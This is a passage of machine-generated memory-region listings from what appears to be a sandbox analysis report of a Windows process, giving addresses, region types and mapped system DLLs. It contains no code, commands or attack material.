region_type = pagefile_backed name = "pagefile_0x0000000000a10000" filename = "" Region: id = 1425 start_va = 0xa20000 end_va = 0xa28fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a20000" filename = "" Region: id = 1426 start_va = 0x7ff9ff490000 end_va = 0x7ff9ff49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff490000" filename = "" Region: id = 1427 start_va = 0xa30000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 1428 start_va = 0xa60000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 1429 start_va = 0xa70000 end_va = 0xa7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 1430 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 1431 start_va = 0x7ff9ff4a0000 end_va = 0x7ff9ff4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff4a0000" filename = "" Region: id = 1432 start_va = 0xa30000 end_va = 0xa30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a30000" filename = "" Region: id = 1433 start_va = 0xa60000 end_va = 0xa61fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a60000" filename = "" Region: id = 1434 start_va = 0xa70000 end_va = 0xa75fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1435 start_va = 0xa80000 end_va = 0xa81fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 1436 start_va = 0x1bb10000 end_va = 0x1bc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb10000" filename = "" Region: id = 1437 start_va = 0xa90000 end_va = 0xa95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a90000" filename = "" Region: id = 1438 start_va = 0x7ff9ff4b0000 end_va = 0x7ff9ff4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff4b0000" filename = "" Region: id = 1439 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1440 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1441 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1442 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 1443 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1444 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1445 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1446 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1447 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 1448 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1449 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1450 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1451 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1452 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 1453 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1454 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 1455 start_va = 0x2290000 end_va = 0x229ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 1456 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1457 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1458 start_va = 0x22c0000 end_va = 0x22cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 1459 start_va = 0x22d0000 end_va = 0x22dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 1460 start_va = 0x22e0000 end_va = 0x22effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022e0000" filename = "" Region: id = 1461 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1462 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1463 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1464 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 1465 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1466 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1467 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1468 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1469 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1470 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1471 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1472 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1473 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1474 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1475 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1476 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1477 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1478 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1479 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1480 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1481 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1482 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 1483 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1484 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1485 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1486 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1487 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1488 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1489 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1490 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1491 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1492 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1493 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 1494 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1495 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 1496 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1497 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1498 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1499 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1500 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1501 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 1502 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1503 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 1504 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1505 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1506 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1507 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 1508 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1509 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1510 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1511 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1512 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1513 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1514 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1515 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1516 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1517 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1518 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1519 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1520 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1521 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 1522 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1523 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1524 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1525 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1526 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1527 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1528 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1529 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1530 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1531 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1532 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1533 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 1534 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1535 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1536 start_va = 0xaa0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1537 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1538 start_va = 0x1bc10000 end_va = 0x1bd0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bc10000" filename = "" Region: id = 1539 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1540 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1541 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1542 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1543 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1544 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 1545 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1546 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 1547 start_va = 0x2290000 end_va = 0x229ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 1548 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1549 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 1550 start_va = 0x2290000 end_va = 0x229ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 1551 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1552 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1553 start_va = 0x22c0000 end_va = 0x22cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 1554 start_va = 0x22d0000 end_va = 0x22dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 1555 start_va = 0x22e0000 end_va = 0x22effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022e0000" filename = "" Region: id = 1556 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1557 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1558 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1559 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1560 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 1561 start_va = 0x2290000 end_va = 0x229ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 1562 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1563 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1564 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 1565 start_va = 0x2290000 end_va = 0x229ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 1566 start_va = 0x7ffa77990000 end_va = 0x7ffa779c0fff monitored = 0 entry_point = 0x7ffa77997d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1567 start_va = 0x7ffa76310000 end_va = 0x7ffa763abfff monitored = 0 entry_point = 0x7ffa763696a0 region_type = mapped_file name = "efswrt.dll" filename = "\\Windows\\System32\\efswrt.dll" (normalized: "c:\\windows\\system32\\efswrt.dll") Region: id = 1568 start_va = 0x7ffa74290000 end_va = 0x7ffa743c5fff monitored = 0 entry_point = 0x7ffa742bf350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 1569 start_va = 0x7ffa6d190000 end_va = 0x7ffa6d1dffff monitored = 0 entry_point = 0x7ffa6d192580 region_type = mapped_file name = "edputil.dll" filename = "\\Windows\\System32\\edputil.dll" (normalized: "c:\\windows\\system32\\edputil.dll") Region: id = 1570 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1571 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1572 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1573 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 1574 start_va = 0x2290000 end_va = 0x229ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 1575 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1576 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1577 start_va = 0x22c0000 end_va = 0x22cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 1578 start_va = 0x22d0000 end_va = 0x22dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 1579 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1580 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 1581 start_va = 0x2290000 end_va = 0x229ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 1582 start_va = 0x7ffa71660000 end_va = 0x7ffa7166cfff monitored = 1 entry_point = 0x7ffa71664e90 region_type = mapped_file name = "wminet_utils.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WMINet_Utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wminet_utils.dll") Region: id = 1583 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1584 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 1585 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1586 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 1587 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1588 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1589 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1590 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1591 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1592 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1593 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1594 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1595 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1596 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1597 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1598 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1599 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1600 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1601 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1602 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1603 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1604 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1605 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 1606 start_va = 0x2290000 end_va = 0x229ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 1607 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1608 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 1609 start_va = 0x2290000 end_va = 0x229ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 1610 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1611 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1612 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1613 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 1614 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1615 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 1616 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1617 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 1618 start_va = 0x2290000 end_va = 0x229ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 1619 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1620 start_va = 0x7ff9ff4c0000 end_va = 0x7ff9ff4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff4c0000" filename = "" Region: id = 1621 start_va = 0xae0000 end_va = 0xae0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = 